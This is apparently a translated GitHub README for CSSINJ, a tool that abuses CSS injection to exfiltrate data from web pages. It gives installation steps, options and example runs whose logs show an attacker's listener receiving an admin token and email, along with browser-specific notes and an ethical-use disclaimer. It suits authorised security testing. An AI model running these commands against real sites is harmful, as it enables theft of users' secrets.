DonAsako/CSSinj
GitHub: DonAsako/CSSinj
CSSINJ 是一款利用 CSS 注入漏洞从 Web 应用程序中窃取敏感信息的渗透测试工具。
Stars: 3 | Forks: 0
# CSSINJ
```
_____ _____ _____ _____ _ _ _ _____ __ __
/ ____| / ____| / ____||_ _|| \ | | | | | __ \ \ \ / /
| | | (___ | (___ | | | \| | | | | |__) | \ \_/ /
| | \___ \ \___ \ | | | . ` | _ | | | ___/ \ /
| |____ ____) | ____) | _| |_ | |\ || |__| | _ | | | |
\_____||_____/ |_____/ |_____||_| \_| \____/ (_)|_| |_|
```
## 关于
**CSSINJ** 是一款利用 [**CSS注入漏洞**](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/05-Testing_for_CSS_Injection) 从网络应用程序中窃取敏感信息的渗透测试工具。该工具专为安全专业人员设计,用于通过演示如何利用 CSS 隐蔽提取数据来评估网络应用程序的安全状况。
## 安装
要安装 **CSSINJ**,请运行以下命令:
```
pip install cssinj
```
现在,您可以开始使用 **CSSINJ** 了!
## 使用方法
```
python3 -m cssinj [-h] -H HOSTNAME -p PORT [-e ELEMENT] [-a ATTRIBUT] [-d] [-m {recusive,font-face}] [-o OUTPUT]
```
### 选项
| 选项 | 描述 |
|------------------------|---------------------------------------------|
| `-h, --help` | 显示帮助信息并退出 |
| `-H, --hostname` | 攻击者的主机名或IP地址 |
| `-p, --port` | 攻击者的端口号 |
| `-e, --element` | 用于提取特定数据的HTML元素 |
| `-a, --attribut` | 指定用于数据外泄的元素属性选择器 |
| `-d, --details` | 显示数据外泄过程的详细日志,包括提取的数据 |
| `-m, --method` | 指定数据外泄类型(递归或font-face) |
| `-t, --timeout` | 视为数据外泄完成前的等待超时秒数(默认:3.0) |
| `-o, --output` | 用于以JSON格式存储外泄数据的文件 |
### 示例
#### 受害者视图:
```
...
...
```
#### 递归攻击
###### 使用特定的HTML标识符:
```
~ python3 -m cssinj inject -H 127.0.0.1 -p 5005 -e input
_____ _____ _____ _____ _ _ _ _____ __ __
/ ____| / ____| / ____||_ _|| \ | | | | | __ \ \ \ / /
| | | (___ | (___ | | | \| | | | | |__) | \ \_/ /
| | \___ \ \___ \ | | | . ` | _ | | | ___/ \ /
| |____ ____) | ____) | _| |_ | |\ || |__| | _ | | | |
\_____||_____/ |_____/ |_____||_| \_| \____/ (_)|_| |_|
[2025-03-11 03:06:49] 🛠️ Attacker's server started on 127.0.0.1:5005
[2025-03-11 03:06:49] 🌐 Connection from ::1
[2025-03-11 03:06:49] ⚙️ ID : 1
[2025-03-11 03:06:49] ✅ [1] - The value exfiltrated from input is : MySecretAdminToken
[2025-03-11 03:06:49] ✅ [1] - The value exfiltrated from input is : admin@admin.XX
[2025-03-11 03:06:49] ✅ [1] - The value exfiltrated from input is : admin
```
###### 使用特定的CSS属性选择器和通用HTML标识符:
```
~ python3 -m cssinj -H 127.0.0.1 -p 5005 -e * -a src
_____ _____ _____ _____ _ _ _ _____ __ __
/ ____| / ____| / ____||_ _|| \ | | | | | __ \ \ \ / /
| | | (___ | (___ | | | \| | | | | |__) | \ \_/ /
| | \___ \ \___ \ | | | . ` | _ | | | ___/ \ /
| |____ ____) | ____) | _| |_ | |\ || |__| | _ | | | |
\_____||_____/ |_____/ |_____||_| \_| \____/ (_)|_| |_|
[2025-03-11 03:06:49] 🛠️ Attacker's server started on 127.0.0.1:5005
[2025-03-11 03:06:49] 🌐 Connection from ::1
[2025-03-11 03:06:49] ⚙️ ID : 1
[2025-03-11 03:06:49] ✅ [1] - The src exfiltrated from * is : XXXXXXXXXXX.XX
```
#### Font-face攻击
```
~ python3 -m cssinj -H 127.0.0.1 -p 5005 -e h1 --method font-face
_____ _____ _____ _____ _ _ _ _____ __ __
/ ____| / ____| / ____||_ _|| \ | | | | | __ \ \ \ / /
| | | (___ | (___ | | | \| | | | | |__) | \ \_/ /
| | \___ \ \___ \ | | | . ` | _ | | | ___/ \ /
| |____ ____) | ____) | _| |_ | |\ || |__| | _ | | | |
\_____||_____/ |_____/ |_____||_| \_| \____/ (_)|_| |_|
[2025-05-21 03:06:49] 🛠️ Attacker's server started on 127.0.0.1:5005
[2025-05-21 03:06:49] 🌐 Connection from 127.0.0.1
[2025-05-21 03:06:49] ⚙️ ID : 1
[2025-05-21 03:06:49] 🔎 [1] - Exfiltrating element 0 :
[2025-05-21 03:06:49] 🔎 [1] - Exfiltrating element 0 : e
[2025-05-21 03:06:49] 🔎 [1] - Exfiltrating element 0 : W
[2025-05-21 03:06:49] 🔎 [1] - Exfiltrating element 0 : l
[2025-05-21 03:06:49] 🔎 [1] - Exfiltrating element 0 : c
[2025-05-21 03:06:49] 🔎 [1] - Exfiltrating element 0 : o
[2025-05-21 03:06:49] 🔎 [1] - Exfiltrating element 0 : m
[2025-05-21 03:06:49] 🔎 [1] - Exfiltrating element 0 : n
[2025-05-21 03:06:49] 🔎 [1] - Exfiltrating element 0 : y
[2025-05-21 03:06:49] 🔎 [1] - Exfiltrating element 0 : p
[2025-05-21 03:06:49] 🔎 [1] - Exfiltrating element 0 : a
[2025-05-21 03:06:49] 🔎 [1] - Exfiltrating element 0 : g
[2025-05-21 03:06:49] 🔎 [1] - Exfiltrating element 0 : !
```
## 浏览器特定行为
使用@import进行CSS注入攻击的成功与否取决于浏览器对CSS导入的处理方式:
- 基于Chromium的浏览器(Chrome、Edge、Brave等)允许递归的CSS导入并会处理注入的样式,这使得它们容易受到使用@import的数据外泄技术的影响。
- 然而,Firefox对@import的处理方式不同:
- 与基于Chromium的浏览器不同,Firefox会在应用任何样式之前处理所有@import规则。
- 结果,攻击会失败,因为浏览器从未处理CSS选择器,从而阻止了数据外泄。
- 这种行为会导致一个无限循环,浏览器会持续等待一个永远不会发生的CSS更新。
这种行为上的差异使得基于Chromium的浏览器更容易受到CSS注入数据外泄的影响,而Firefox则对此类攻击提供了更好的防护。
## 待办事项
- 常规:
- [ ] 添加错误处理器
- [ ] 文件错误处理器
- [ ] 添加测试
- [ ] 编辑终端
- 注入:
- [x] 为font-face数据外泄添加超时
- 完整外泄(盲注):
- [x] 0. 完成DOM对象
- [ ] 1. 获取HTML结构(标签)
- [ ] 2. 获取每个元素的所有属性
- [ ] 3. 获取每个属性的所有值
- [ ] 4. 使用font-face数据外泄获取文本
## 免责声明
本工具**仅用于道德黑客和安全研究**。**未经授权在未经明确许可的系统上使用是非法行为**。开发者**不对**任何滥用本工具的行为负责。
## 作者
**CSSINJ** 由 **DonAsako** 开发。
Welcome on my page !
标签:CSS注入, Python, Web安全, web应用测试, 信息泄露, 反取证, 多模态安全, 安全评估, 客户端漏洞, 敏感信息收集, 数据提取, 无后门, 网络安全, 蓝队分析, 逆向工具, 隐私保护